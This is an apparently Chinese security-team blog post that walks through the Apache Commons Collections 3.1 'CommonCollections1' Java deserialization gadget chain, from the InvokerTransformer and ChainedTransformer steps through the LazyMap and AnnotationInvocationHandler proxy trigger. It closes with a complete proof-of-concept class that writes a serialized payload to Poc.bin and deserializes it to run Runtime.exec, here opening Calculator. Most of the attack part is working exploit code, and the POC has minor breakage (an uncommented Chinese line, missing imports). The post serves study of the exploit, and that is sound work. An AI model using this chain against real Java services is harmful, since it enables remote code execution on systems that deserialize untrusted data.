CommonCollections1 Gadget分析

語言: CN / TW / HK

環境

JDK1.7

Idea 2020.1

Apache CommonCollections V3.1

Idea預設版本Maven

Gadget Chains

將Gadget Chains分片分析,“=”下為迭代鏈,“=”上為利用鏈。

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject() Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
====================================================================
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Gadget Chains 1(迭代鏈)

將迭代鏈再分片,“=”下為其具體實現,“=”為其前置條件。

 ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime() ===================================================================
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

具體實現

InvokerTransformer

InvokerTransformer#transform方法通過反射呼叫構造方法中傳入的方法。

據InvokerTransformer類的構造方法和transform方法原始碼,可給出具體實現部分程式碼,“=”下為transform方法註釋。

Runtime rt = Runtime.getRuntime();
InvokerTransformer transformer = InvokerTransformer
("exec",new Class[]{String.class},new Object[]{"open /Users/lixq/Desktop/1.txt"});
transformer.transform(rt);
======================================================
//Runtime rt = Runtime.getRuntime();
//Class clazz = rt.getClass();
//Method method = clazz.getMethod("exec",String.class);
//method.invoke(rt,"open /Users/lixq/Desktop/1.txt");

前置條件

ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()


通過給出的Gadget Chains 1可知前置部分通過多次transform方法執行Runtime.getRuntime方法獲取Runtime例項,由下而上逆推可得到前置部分實現程式碼。

由於Runtime類未繼承Serializable故其不能直接反序列化,需要通過反射來一步步獲取一個Runtime例項。為便於理解,下面先給出具體邏輯實現程式碼。

Class clazz = Class.forName("java.lang.Runtime");
Class clsClazz = clazz.getClass();
Method m1 = clsClazz.getMethod("getMethod", String.class, Class[].class);
Object o1 = m1.invoke(clazz,new Object[]{"getRuntime",new Class[0]});
Method m2 = m1.getClass().getMethod("invoke", Object.class, Object[].class);
Object o2 = m2.invoke(o1,new Object[]{null,null});
System.out.println(o1);
System.out.println(o2);


使用Transformer迭代鏈實現之,具體如下。

ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Object clsObj = constantTransformer.transform(1);
InvokerTransformer invokerTransformer1 = new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
);
Object getMethodObj = invokerTransformer1.transform(clsObj);
System.out.println(getMethodObj);
InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null});
Object getRuntimeObj = invokerTransformer2.transform(getMethodObj);
System.out.println(getRuntimeObj);

逐語句分析,ConstantTransformer#transformer會返回傳入物件本身即Runtime的類物件。

invokerTransformer1.transform返回Runtime.getRuntime方法的Method物件。

invokerTransformer2.transform通過反射呼叫Method.invoke方法即呼叫getRumtime這個Method物件invoke方法返回一個Runtime物件。

迭代鏈實現

迭代鏈中用到的三個tranform方法:

1.InvokerTransformer.transform():在具體實現中已經給出其實現方法。

2.ConstanTransformer.transform():返回傳入物件本身,在前置條件中已給出其實現方法。

3.ChainedTransformer.transform():此方法實現了對每個傳入的transformer都呼叫其transform方法,並將結果作為下一次的輸入傳遞進去。

綜合前置條件和具體實現迭代鏈的最終實現程式碼和執行結果。

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app "})
});
chainedTransformer.transform(1);

Gadget Chains 2(利用鏈)

ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()

由後至前分析,LazyMap.get():當傳入的key不存在時執行this.factory.transform,若此時傳入的this.factory為構造好的迭代鏈chainedTransformer則可執行系統命令。

由於LazyMap的構造方法使用protected修飾,故無法直接new一個LazyMap的例項物件,但其提供了decorate方法來例項化一個LazyMap物件。

此時可完成構造利用鏈的第一步,如下。

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app "})
});
chainedTransformer.transform(1);
Hashmap map = new HashMap();
LazyMap lazyMap = LazyMap.decorate(map,chainedTransformer);
lazyMap.get(1);

繼而向上,AnnotationInvocationHandler implements自InvocationHandler和Serializable是處理註解的類,構造該類需要提供兩個引數,一個是Annotation類,一個是Map物件,此類未使用public修飾只能通過反射建立例項。

AnnotationInvocationHandler.invoke:關注程式碼註釋部分,它執行了this.memberValues.get(var4),this.membrtValues等於構造方法中的var2也就是當構造方法中傳入的var2為LazyMap物件時會執行LazyMap.get方法。

public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}


switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}


return var6;
}
}
}
}


// default:
// Object var6 = this.memberValues.get(var4);

通過動態代理來實現對AnnotationInvocationHandler.invoke方法的呼叫,先給出代理物件的生成方法註釋。

Proxy.newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h);




//Proxy類就是用來建立一個代理物件的類,它提供了很多方法,但最常用的是newProxyInstance方法。


//InvocationHandler介面是proxy代理例項的呼叫處理程式實現的一個介面,每一個proxy代理例項都有一個關聯的呼叫處理程式;
//在代理例項呼叫方法時,方法呼叫被分派到呼叫處理程式的invoke方法。
//其相當於一種程式碼增強,即在原先的方法邏輯上加上額外操作,在方法執行之前和之後加點通用邏輯,方便實現和維護。

先看下

AnnotationInvocationHandler.readObject()方法實現,this.memberValues是其構造方法中傳入的Map物件,當其是一個代理Map物件並執行this.memberValues.entrySet().iterator()時會呼叫memberValues對應InvocationHandler物件的invoke方法。

綜上,可給出利用鏈實現程式碼。

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./Poc.bin"));
objectOutputStream.writeObject(handler);
objectOutputStream.close();

POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;




class CC1 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException
{
//構造迭代鏈
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app "})
});


構造利用鏈
HashMap map = new HashMap();
map.put("11","22");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);


//序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./Poc.bin"));
objectOutputStream.writeObject(handler);
objectOutputStream.close();


//反序列化
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Poc.bin"));
inputStream.readObject();


}
}

總結下CommonCollections1 反序列化執行惡意程式碼過程:

通過動態代理呼叫

AnnotationInvocationHandler.invoke(),AnnotationInvocationHandler物件構造時傳入LazyMap,在呼叫其invoke方法時會執行LazyMap.get(),構造LazyMap物件時傳入構造好的迭代鏈,執行LazyMap.get()時呼叫ChianedTransformer.transform(),最終執行系統命令。

Tide安全團隊正式成立於2019年1月,是新潮資訊旗下以網際網路攻防技術研究為目標的安全團隊,團隊致力於分享高質量原創文章、開源安全工具、交流安全技術,研究方向覆蓋網路攻防、系統安全、Web安全、移動終端、安全開發、物聯網/工控安全/AI安全等多個領域。

團隊作為“省級等保關鍵技術實驗室”先後與哈工大、齊魯銀行、聊城大學、交通學院等多個高校名企建立聯合技術實驗室,近三年來在網路安全技術方面開展研發專案60餘項,獲得各類自主智慧財產權30餘項,省市級科技專案立項20餘項,研究成果應用於產品核心技術研究、國家重點科技專案攻關、專業安全服務等。對安全感興趣的小夥伴可以加入或關注我們。